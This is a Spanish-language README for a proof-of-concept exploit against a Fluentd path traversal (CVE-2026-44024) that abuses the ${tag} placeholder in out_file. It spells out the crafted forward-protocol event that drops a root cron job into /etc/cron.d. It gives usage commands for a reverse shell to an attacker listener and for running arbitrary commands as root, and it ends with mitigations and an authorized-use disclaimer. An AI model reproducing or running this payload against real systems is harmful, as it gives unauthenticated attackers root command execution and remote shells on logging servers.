
Exploit de prueba de concepto para CVE-2026-44024, que utiliza una etiqueta in_forward manipulada para escribir archivos arbitrarios mediante el path traversal de out_file de Fluentd y desencadenar la ejecución de comandos.
out_file ${tag} de FluentdEscritura arbitraria de archivos sin autenticación en el plugin out_file de Fluentd mediante el marcador de posición ${tag}.
out_file permite a los operadores parametrizar la ruta de salida con un marcador de posición ${tag} (p. ej., path /var/log/fluent/${tag}). Output#extract_placeholders (lib/fluent/plugin/output.rb) sustituye la etiqueta del evento en la ruta sin sanear ../ (CWE-22):
if str.include?('${tag}')
rvalue = rvalue.gsub('${tag}', metadata.tag) # attacker-controlled tag, no ../ check
Los eventos que llegan a través del protocolo in_forward (puerto 24224) llevan una etiqueta tomada literalmente del mensaje de red, y allow_anonymous_source está a true por defecto, por lo que un atacante no autenticado puede establecer una etiqueta como ../../../../../../etc/cron.d/pwn para escapar del directorio configurado y escribir en una ruta absoluta arbitraria como el usuario del proceso fluentd.
<= 1.19.21.19.3 (rechaza los componentes ..//absolutos en la etiqueta antes de expandir ${tag}, PR #5391)in_forward, no in_httpin_http deriva la etiqueta de la ruta de la URL con path.split('/').join('.'), lo que convierte cada / en ., por lo que ../ no puede sobrevivir en Linux (y %2f no se decodifica). Solo el protocolo forward (24224) transmite la etiqueta byte a byte. Este exploit habla lo justo de ese protocolo (un mensaje msgpack [tag, time, record]) con un codificador integrado muy pequeño: sin dependencias.
Solo biblioteca estándar de Python 3. El objetivo debe ejecutar un Fluentd vulnerable con un out_file cuya path contenga ${tag}, y una fuente in_forward anónima (valores por defecto). Convertir la escritura en una caída limpia de cron asume un out_file que no altere el nombre/el contenido del archivo (p. ej. add_path_suffix false, append true, sin timekey, formato single_value) — de lo contrario, usa la escritura de archivos para sobrescribir un archivo de ruta conocida.
# reverse shell (start a listener first: nc -lvnp 4444). Fires via cron within ~60s.
python3 exploit.py 10.10.10.10 --shell 10.10.14.5:4444
# blind command as root
python3 exploit.py 10.10.10.10 -c 'id > /tmp/pwned'
# custom forward port
python3 exploit.py 10.10.10.10:24224 --shell 10.10.14.5:4444
Envía un evento forward ["../../../../../../etc/cron.d/pwn", <time>, {"msg": "* * * * * root <cmd>"}] al puerto 24224. out_file expande ${tag} → /var/log/fluent/../../../../../../etc/cron.d/pwn = /etc/cron.d/pwn, y (con un formato single_value) escribe el msg del registro literalmente → una línea cron válida. cron lo ejecuta en unos 60 s como el usuario de fluentd (root donde fluentd se ejecuta como root).
Actualice Fluentd a ≥ 1.19.3; no exponga el puerto forward a redes no confiables (habilite la autenticación con clave compartida / allow_anonymous_source false); no ejecute fluentd como root; evite ${tag} en las rutas de salida para entradas no confiables.
Solo para pruebas de seguridad autorizadas y fines educativos. Úselo únicamente contra sistemas que posea o para los que tenga permiso explícito de prueba.